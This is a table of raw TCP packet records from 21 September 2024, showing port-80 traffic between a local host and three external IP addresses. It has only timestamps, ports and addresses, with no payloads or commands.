Sep 21, 2024 13:33:41.978215933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978216887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978372097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978399038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978431940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978456974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978466988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978499889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978513002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978513002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978533030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978545904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978565931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978606939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978606939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978612900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978777885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978811026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978821993 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978821993 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978863001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978868008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978895903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978913069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978940964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978950024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979000092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979084015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979135990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979146004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979171991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979190111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979190111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979206085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979219913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979233980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979233980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979234934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979257107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979302883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979448080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979500055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979506969 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979532003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979578972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979578972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979578972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979613066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979664087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979664087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979804993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979837894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979871035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979887009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979887962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979903936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979937077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.979948044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979948044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.979990005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.980570078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.980650902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.980871916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.980905056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.980938911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.980959892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.980959892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.980969906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.981015921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.981029987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.981029987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.981049061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.981084108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.981095076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.981095076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.981364965 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.991178989 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991214991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991250992 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991283894 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991317034 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991348982 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991398096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991398096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991399050 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991430044 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991436958 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991461039 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991466999 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991499901 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991533041 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991568089 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.991580009 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991580009 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991624117 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.991624117 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992027998 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992079973 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992157936 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992192984 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992211103 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992211103 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992225885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992258072 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992274046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992274046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992310047 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992343903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992358923 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992358923 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992377043 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992408991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992424011 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992424011 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992441893 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992474079 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992486954 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992486954 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992506981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992542028 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992558002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992558002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992574930 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992609024 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992621899 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992621899 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992904902 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.992950916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.992983103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993014097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993037939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993037939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993046999 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993084908 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993091106 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993091106 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993134022 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993184090 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993184090 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993226051 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993278980 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993311882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993325949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993325949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993345976 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993379116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993393898 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993393898 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993411064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993443012 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993455887 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993455887 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993475914 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993504047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993508101 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993541956 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993546963 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993546963 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993575096 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993613958 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993613958 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993880033 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993912935 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993931055 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.993944883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.993978024 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994026899 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994030952 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994030952 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994060993 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994085073 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994092941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994126081 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994136095 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994136095 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994158983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994190931 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994204044 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994204044 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994225025 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994276047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994276047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994317055 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994498014 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994581938 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994616032 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994647980 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994663000 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994663954 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994680882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994719028 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994729996 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994729996 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994730949 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994765043 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994775057 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994775057 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994796991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994831085 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994844913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994844913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994863033 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994895935 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994909048 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994909048 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994930983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.994976997 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.994976997 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.029769897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029805899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029839039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029871941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029905081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029937983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029939890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.029939890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.029972076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.029999971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.030034065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.030071974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.032527924 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032562017 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032596111 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032640934 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.032685995 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.032860041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032893896 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032927990 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032957077 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.032979012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.032994986 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033013105 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033036947 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033041954 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033066034 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033092976 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033097029 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033137083 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033144951 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033178091 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033194065 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033211946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033221006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033243895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033253908 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033277035 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033297062 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033319950 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033354044 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033386946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033405066 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033421993 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033437967 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033473015 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033827066 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033860922 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033896923 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.033900023 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033925056 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033951044 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.033978939 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034012079 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034033060 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034063101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034065962 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034099102 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034112930 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034132957 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034148932 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034166098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034181118 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034216881 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034220934 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034255028 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034271002 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034288883 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034311056 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034321070 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034343004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034354925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034399986 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034399986 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034430027 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034462929 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034485102 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034496069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034524918 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034529924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034544945 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034564972 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034591913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034658909 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034693956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034709930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034709930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034745932 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034817934 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034955025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.034977913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.034989119 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035017014 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035037994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035037994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035049915 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035073042 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035084963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035118103 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035150051 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035171032 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035183907 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035221100 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035244942 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035254955 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035262108 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035296917 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035296917 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035413027 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035464048 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035464048 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035525084 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035558939 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035573006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035573006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035590887 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035603046 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035624981 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035651922 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035657883 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035690069 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035691023 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035701036 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035723925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035758972 CEST	80	49708	147.45.44.104	192.168.2.9
